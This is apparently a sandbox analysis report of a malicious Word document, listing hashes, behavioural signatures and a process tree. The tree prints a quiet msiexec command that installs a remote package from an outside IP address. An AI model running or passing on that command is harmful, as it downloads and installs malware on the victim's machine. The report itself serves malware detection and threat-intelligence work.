Analysis
-
max time kernel
111s -
max time network
132s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
28-01-2022 22:24
Static task
static1
Behavioral task
behavioral1
Sample
0fe745b26efe3c4d82389d10c43e5755a30e1a794d920a807915313f049048eb.doc
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
0fe745b26efe3c4d82389d10c43e5755a30e1a794d920a807915313f049048eb.doc
Resource
win10-en-20211208
General
-
Target
0fe745b26efe3c4d82389d10c43e5755a30e1a794d920a807915313f049048eb.doc
-
Size
98KB
-
MD5
477e6a9efebdbf54f09d06ef8a29da79
-
SHA1
bc219e56929889acdf80cf692cd6b0d7a43b8207
-
SHA256
0fe745b26efe3c4d82389d10c43e5755a30e1a794d920a807915313f049048eb
-
SHA512
e209d8fa97c11208bd570035ba90469f9dce9ef1a6916f97ec5932aa836313ef838fb9ab65c87abde7dcc34948354a951a2a3937aa4f13945e24b6081ba7d6c2
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
msiexec.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 1976 2328 msiexec.exe WINWORD.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
msiexec.exeflow pid process 31 3660 msiexec.exe -
Use of msiexec (install) with remote resource 1 IoCs
Processes:
msiexec.exepid process 1976 msiexec.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2328 WINWORD.EXE 2328 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 32 IoCs
Processes:
msiexec.exemsiexec.exedescription pid process Token: SeShutdownPrivilege 1976 msiexec.exe Token: SeIncreaseQuotaPrivilege 1976 msiexec.exe Token: SeSecurityPrivilege 3660 msiexec.exe Token: SeCreateTokenPrivilege 1976 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1976 msiexec.exe Token: SeLockMemoryPrivilege 1976 msiexec.exe Token: SeIncreaseQuotaPrivilege 1976 msiexec.exe Token: SeMachineAccountPrivilege 1976 msiexec.exe Token: SeTcbPrivilege 1976 msiexec.exe Token: SeSecurityPrivilege 1976 msiexec.exe Token: SeTakeOwnershipPrivilege 1976 msiexec.exe Token: SeLoadDriverPrivilege 1976 msiexec.exe Token: SeSystemProfilePrivilege 1976 msiexec.exe Token: SeSystemtimePrivilege 1976 msiexec.exe Token: SeProfSingleProcessPrivilege 1976 msiexec.exe Token: SeIncBasePriorityPrivilege 1976 msiexec.exe Token: SeCreatePagefilePrivilege 1976 msiexec.exe Token: SeCreatePermanentPrivilege 1976 msiexec.exe Token: SeBackupPrivilege 1976 msiexec.exe Token: SeRestorePrivilege 1976 msiexec.exe Token: SeShutdownPrivilege 1976 msiexec.exe Token: SeDebugPrivilege 1976 msiexec.exe Token: SeAuditPrivilege 1976 msiexec.exe Token: SeSystemEnvironmentPrivilege 1976 msiexec.exe Token: SeChangeNotifyPrivilege 1976 msiexec.exe Token: SeRemoteShutdownPrivilege 1976 msiexec.exe Token: SeUndockPrivilege 1976 msiexec.exe Token: SeSyncAgentPrivilege 1976 msiexec.exe Token: SeEnableDelegationPrivilege 1976 msiexec.exe Token: SeManageVolumePrivilege 1976 msiexec.exe Token: SeImpersonatePrivilege 1976 msiexec.exe Token: SeCreateGlobalPrivilege 1976 msiexec.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
WINWORD.EXEpid process 2328 WINWORD.EXE 2328 WINWORD.EXE 2328 WINWORD.EXE 2328 WINWORD.EXE 2328 WINWORD.EXE 2328 WINWORD.EXE 2328 WINWORD.EXE 2328 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 2328 wrote to memory of 1976 2328 WINWORD.EXE msiexec.exe PID 2328 wrote to memory of 1976 2328 WINWORD.EXE msiexec.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0fe745b26efe3c4d82389d10c43e5755a30e1a794d920a807915313f049048eb.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2328 -
C:\Windows\SYSTEM32\msiexec.exemsiexec /q step1=commonl step2=files /i http://185.140.248.17/ltm12⤵
- Process spawned unexpected child process
- Use of msiexec (install) with remote resource
- Suspicious use of AdjustPrivilegeToken
PID:1976
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:3660
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2328-115-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmpFilesize
64KB
-
memory/2328-116-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmpFilesize
64KB
-
memory/2328-117-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmpFilesize
64KB
-
memory/2328-118-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmpFilesize
64KB
-
memory/2328-119-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmpFilesize
64KB
-
memory/2328-122-0x00007FFE3ADD0000-0x00007FFE3ADE0000-memory.dmpFilesize
64KB
-
memory/2328-123-0x00007FFE3ADD0000-0x00007FFE3ADE0000-memory.dmpFilesize
64KB
-
memory/2328-265-0x0000022B88C90000-0x0000022B88C94000-memory.dmpFilesize
16KB
-
memory/2328-344-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmpFilesize
64KB
-
memory/2328-345-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmpFilesize
64KB
-
memory/2328-346-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmpFilesize
64KB
-
memory/2328-347-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmpFilesize
64KB